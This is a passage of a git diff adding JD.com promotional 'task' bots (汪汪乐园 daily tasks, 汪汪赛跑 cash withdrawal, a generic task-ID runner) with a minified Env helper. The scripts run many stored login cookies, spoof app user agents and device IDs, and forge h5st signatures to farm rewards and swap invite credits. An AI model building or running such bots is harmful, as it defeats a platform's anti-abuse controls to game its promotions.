(t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_joy_park_task_Mod.js b/jd_joy_park_task_Mod.js new file mode 100644 index 0000000..2c144ab --- /dev/null +++ b/jd_joy_park_task_Mod.js @@ -0,0 +1,400 @@ +/* + +脚本默认会帮我助力开工位,介意请添加变量HELP_JOYPARK,false为不助力 +export HELP_JOYPARK="" + +更新地址:https://github.com/Tsukasa007/my_script +============Quantumultx=============== +[task_local] +#汪汪乐园每日任务 +0 0,7,9,17,20 * * * jd_joypark_task.js, tag=汪汪乐园每日任务, img-url=https://raw.githubusercontent.com/tsukasa007/icon/master/jd_joypark_task.png, enabled=true + +================Loon============== +[Script] +cron "0 0,7,9,17,20 * * *" script-path=jd_joypark_task.js,tag=汪汪乐园每日任务 + +===============Surge================= +汪汪乐园每日任务 = type=cron,cronexp="0 0,7,9,17,20 * * *",wake-system=1,timeout=3600,script-path=jd_joypark_task.js + +============小火箭========= +汪汪乐园每日任务 = type=cron,script-path=jd_joypark_task.js, cronexpr="0 0,7,9,17,20 * * *", timeout=3600, enable=true +*/ +const $ = new Env('汪汪乐园每日任务'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +$.invitePinTaskList = [] +$.invitePin = [ + "" +] +const JD_API_HOST = `https://api.m.jd.com/client.action`; +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.openIndex = 0; + $.UA = `jdapp;iPhone;10.1.4;13.1.2;${randomString(40)};network/wifi;model/iPhone8,1;addressid/2308460611;appBuild/167814;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` + + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + // if ($.isNode()) { + // if (process.env.HELP_JOYPARK && process.env.HELP_JOYPARK == "false") { + // } else { + // $.kgw_invitePin = ["7zG4VHS99AUEoX1mQTkC9Q"][Math.floor((Math.random() * 1))]; + // let resp = await getJoyBaseInfo(undefined, 2, $.kgw_invitePin); + // if (resp.data && resp.data.helpState && resp.data.helpState === 1) { + // $.log("帮【zero205】开工位成功,感谢!\n"); + // } else if (resp.data && resp.data.helpState && resp.data.helpState === 3) { + // $.log("你不是新用户!跳过开工位助力\n"); + // break + // } else if (resp.data && resp.data.helpState && resp.data.helpState === 2) { + // $.log(`他的工位已全部开完啦!\n`); + // $.openIndex++ + // } else { + // $.log("开工位失败!\n"); + // } + // } + // } + await getJoyBaseInfo() + if ($.joyBaseInfo && $.joyBaseInfo.invitePin) { + $.log(`${$.name} - ${$.UserName} 助力码: ${$.joyBaseInfo.invitePin}`); + $.invitePinTaskList.push($.joyBaseInfo.invitePin); + } else { + $.log(`${$.name} - ${$.UserName} 助力码: null`); + $.invitePinTaskList.push(''); + $.isLogin = false + $.log("服务端异常,不知道为啥有时候这样,后面再观察一下,手动执行应该又没问题了") + continue + } + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await getTaskList(); + + // 签到 / 逛会场 / 浏览商品 + for (const task of $.taskList) { + if (task.taskType === 'SIGN') { + $.log(`${task.taskTitle}`) + await apDoTask(task.id, task.taskType, undefined); + $.log(`${task.taskTitle} 领取奖励`) + await apTaskDrawAward(task.id, task.taskType); + } + if (task.taskType === 'BROWSE_PRODUCT' || task.taskType === 'BROWSE_CHANNEL' && task.taskLimitTimes !== 1) { + let productList = await apTaskDetail(task.id, task.taskType); + let productListNow = 0; + if (productList.length === 0) { + let resp = await apTaskDrawAward(task.id, task.taskType); + + if (!resp.success) { + $.log(`${task.taskTitle}|${task.taskShowTitle} 领取完成!`) + productList = await apTaskDetail(task.id, task.taskType); + + } + } + //做 + while (task.taskLimitTimes - task.taskDoTimes >= 0) { + + if (productList.length === 0) { + $.log(`${task.taskTitle} 活动火爆,素材库没有素材,我也不知道啥回事 = = `); + break; + } + $.log(`${task.taskTitle} ${task.taskDoTimes}/${task.taskLimitTimes}`); + let resp = await apDoTask(task.id, task.taskType, productList[productListNow].itemId, productList[productListNow].appid); + + if (resp.code === 2005 || resp.code === 0) { + $.log(`${task.taskTitle}|${task.taskShowTitle} 任务完成!`) + } else { + $.log(`${resp.echo} 任务失败!`) + } + productListNow++; + task.taskDoTimes++; + if (!productList[productListNow]) { + break + } + } + //领 + for (let j = 0; j < task.taskLimitTimes; j++) { + let resp = await apTaskDrawAward(task.id, task.taskType); + + if (!resp.success) { + $.log(`${task.taskTitle}|${task.taskShowTitle} 领取完成!`) + break + } + } + } else if (task.taskType === 'SHARE_INVITE') { + $.yq_taskid = task.id + for (let j = 0; j < 5; j++) { + let resp = await apTaskDrawAward($.yq_taskid, 'SHARE_INVITE'); + + if (!resp.success) { + break + } + $.log("领取助力奖励成功!") + } + } + if (task.taskType === 'BROWSE_CHANNEL' && task.taskLimitTimes === 1) { + $.log(`${task.taskTitle}|${task.taskShowTitle}`) + await apDoTask2(task.id, task.taskType, task.taskSourceUrl); + $.log(`${task.taskTitle}|${task.taskShowTitle} 领取奖励`) + await apTaskDrawAward(task.id, task.taskType); + } + // if (task.taskType === 'SHARE_INVITE') { + // $.yq_taskid = task.id + // } + } + } + } + + $.log("\n======汪汪乐园开始内部互助======\n======有剩余助力次数则帮zero205助力======\n") + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + $.newinvitePinTaskList = [...($.invitePinTaskList || []), ...($.invitePin || [])] + for (const invitePinTaskListKey of $.newinvitePinTaskList) { + $.log(`【京东账号${$.index}】${$.nickName || $.UserName} 助力 ${invitePinTaskListKey}`) + let resp = await getJoyBaseInfo($.yq_taskid, 1, invitePinTaskListKey); + if (resp.success) { + if (resp.data.helpState === 1) { + $.log("助力成功!"); + } else if (resp.data.helpState === 0) { + $.log("自己不能助力自己!"); + } else if (resp.data.helpState === 2) { + $.log("助力过了!"); + } else if (resp.data.helpState === 3) { + $.log("没有助力次数了!"); + break + } else if (resp.data.helpState === 4) { + $.log("这个B助力满了!"); + } + } else { + $.log("数据异常 助力失败!\n\n") + break + } + } + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) +//获取活动信息 + +//任务列表 +function getTaskList() { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body=%7B%22linkId%22%3A%22LsQNxL7iWDlXUs6cFl-AAg%22%7D&appid=activities_platform`, `apTaskList`), async (err, resp, data) => { + $.log('=== 任务列表 start ===') + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.taskList = data.data + for (const row of $.taskList) { + $.log(`${row.taskTitle} ${row.taskDoTimes}/${row.taskLimitTimes}`) + } + $.log('=== 任务列表 end ===') + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +/** + * 互助 + * @param taskId + * @param inviteType + * @param inviterPin + * @returns {Promise} + */ +function getJoyBaseInfo(taskId = '', inviteType = '', inviterPin = '') { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskId":"${taskId}","inviteType":"${inviteType}","inviterPin":"${inviterPin}","linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&_t=1625480372020&appid=activities_platform`, `joyBaseInfo`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.joyBaseInfo = data.data + } + } catch (e) { + $.logErr(e, resp) + } finally { + $.log(`resolve start`) + resolve(data); + $.log(`resolve end`) + } + }) + }) +} + +function apDoTask(taskId, taskType, itemId = '', appid = 'activities_platform') { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskType":"${taskType}","taskId":${taskId},"channel":4,"linkId":"LsQNxL7iWDlXUs6cFl-AAg","itemId":"${itemId}"}&appid=${appid}`, `apDoTask`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function apDoTask2(taskId, taskType, itemId, appid = 'activities_platform') { + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskType":"${taskType}","taskId":${taskId},"linkId":"LsQNxL7iWDlXUs6cFl-AAg","itemId":"${itemId}"}&appid=${appid}`, `apDoTask`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function apTaskDetail(taskId, taskType) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`functionId=apTaskDetail&body={"taskType":"${taskType}","taskId":${taskId},"channel":4,"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `apTaskDetail`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (!data.success) { + $.taskDetailList = [] + } else { + $.taskDetailList = data.data.taskItemList; + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + if (!data.success) { + resolve([]); + } else { + resolve(data.data.taskItemList); + } + } + }) + }) +} + +function apTaskDrawAward(taskId, taskType) { + //await $.wait(20) + return new Promise(resolve => { + $.post(taskPostClientActionUrl(`body={"taskType":"${taskType}","taskId":${taskId},"linkId":"LsQNxL7iWDlXUs6cFl-AAg"}&appid=activities_platform`, `apTaskDrawAward`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.log("领取奖励") + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostClientActionUrl(body, functionId) { + return { + url: `https://api.m.jd.com/client.action?${functionId ? `functionId=${functionId}` : ``}`, + body: body, + headers: { + 'User-Agent': $.UA, + 'Content-Type': 'application/x-www-form-urlencoded', + 'Host': 'api.m.jd.com', + 'Origin': 'https://joypark.jd.com', + 'Referer': 'https://joypark.jd.com/?activityId=LsQNxL7iWDlXUs6cFl-AAg&lng=113.387899&lat=22.512678&sid=4d76080a9da10fbb31f5cd43396ed6cw&un_area=19_1657_52093_0', + 'Cookie': cookie, + } + } +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_joy_run_reward.ts b/jd_joy_run_reward.ts new file mode 100644 index 0000000..3b72a4a --- /dev/null +++ b/jd_joy_run_reward.ts @@ -0,0 +1,88 @@ +/** +汪汪赛跑-提现10元 +2 0 0 * * 5 jd_joy_run_reward.ts +new Env('汪汪赛跑提现') +Modify By Dylan from HW +updateTime:2022-07-09 +**/ + +import {get, post, requireConfig, wait} from './function/TS_USER_AGENTS' +import {H5ST} from "./function/h5st" + +let cookie: string = '', res: any = '', UserName: string = '', fp_448de: string = '' || process.env.FP_448DE, fp_b6ac3: string = '' || process.env.FP_B6AC3 +let h5stTool: H5ST = null + +!(async () => { + let cookiesArr: string[] = await requireConfig() + for (let [index, value] of cookiesArr.entries()) { + cookie = value + UserName = decodeURIComponent(cookie.match(/pt_pin=([^;]*)/)![1]) + console.log(`\n开始【京东账号${index + 1}】${UserName}\n`) + let rewardAmount: number = 0 + try { + h5stTool = new H5ST('448de', 'jdltapp;', fp_448de) + await h5stTool.__genAlgo() + res = await team('runningMyPrize', {"linkId": "L-sOanK_5RJCz7I314FpnQ", "pageSize": 20, "time": null, "ids": null}) + rewardAmount = res.data.rewardAmount + if (res.data.runningCashStatus.currentEndTime) { + console.log('可提现', rewardAmount) + res = await api('runningPrizeDraw', {"linkId": "L-sOanK_5RJCz7I314FpnQ", "type": 2, "level": 3}) + await wait(2000) + if (res.success){ + console.log(res.data.message) + } else { + console.log('提现失败:', res.errMsg) + } + }else{ + console.log('还未到提现时间') + } + } catch (e) { + console.log('Error', e) + await wait(1000) + } + } +})() + +async function api(fn: string, body: object) { + let timestamp: number = Date.now(), h5st: string = '' + if (fn === 'runningOpenBox') { + h5st = h5stTool.__genH5st({ + appid: "activities_platform", + body: JSON.stringify(body), + client: "ios", + clientVersion: "3.1.0", + functionId: "runningOpenBox", + t: timestamp.toString() + }) + } + let params: string = `functionId=${fn}&body=${JSON.stringify(body)}&t=${timestamp}&appid=activities_platform&client=ios&clientVersion=3.1.0&cthr=1` + h5st && (params += `&h5st=${h5st}`) + return await post('https://api.m.jd.com/', params, { + 'authority': 'api.m.jd.com', + 'content-type': 'application/x-www-form-urlencoded', + 'cookie': cookie, + 'origin': 'https://h5platform.jd.com', + 'referer': 'https://h5platform.jd.com/', + 'user-agent': 'jdltapp;' + }) +} + +async function team(fn: string, body: object) { + let timestamp: number = Date.now(), h5st: string + h5st = h5stTool.__genH5st({ + appid: "activities_platform", + body: JSON.stringify(body), + client: "ios", + clientVersion: "3.1.0", + functionId: fn, + t: timestamp.toString() + }) + return await get(`https://api.m.jd.com/?functionId=${fn}&body=${encodeURIComponent(JSON.stringify(body))}&t=${timestamp}&appid=activities_platform&client=ios&clientVersion=3.1.0&cthr=1&h5st=${h5st}`, { + 'Host': 'api.m.jd.com', + 'User-Agent': 'jdltapp;', + 'Origin': 'https://h5platform.jd.com', + 'X-Requested-With': 'com.jd.jdlite', + 'Referer': 'https://h5platform.jd.com/', + 'Cookie': cookie + }) +} diff --git a/jd_joyjd_open.js b/jd_joyjd_open.js new file mode 100644 index 0000000..555c374 --- /dev/null +++ b/jd_joyjd_open.js @@ -0,0 +1,324 @@ +if (!["card","car"].includes(process.env.FS_LEVEL)) { + console.log("请设置通用加购/开卡环境变量FS_LEVEL为\"car\"(或\"card\"开卡+加购)来运行加购脚本") + return +} +/* +#jd_joyjd_open通用ID任务,多个活动用@连接,任务连接https://jdjoy.jd.com/module/task/v2/doTask +export comm_activityIDList="af2b3d56e22d43afa0c50622c45ca2a3" +export comm_endTimeList="1639756800000" +export comm_tasknameList="京东工业品抽奖" + +即时任务,无需cron,短期或者长期请参考活动规则设置cron +*/ +const $ = new Env('jd_joyjd_open通用ID任务'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = []; +let activityIDList = ''; +let endTimeList = ''; +let tasknameList = ''; +let activityIDArr = []; +let endTimeArr = []; +let tasknameArr = []; +let activityID = '', endTime = '', taskname = ''; +$.UA = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.comm_activityIDList) activityIDList = process.env.comm_activityIDList + if (process.env.comm_endTimeList) endTimeList = process.env.comm_endTimeList + if (process.env.comm_tasknameList) tasknameList = process.env.comm_tasknameList + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + if (!activityIDList) { + $.log(`没有通用ID任务,尝试获取远程`); + let data = await 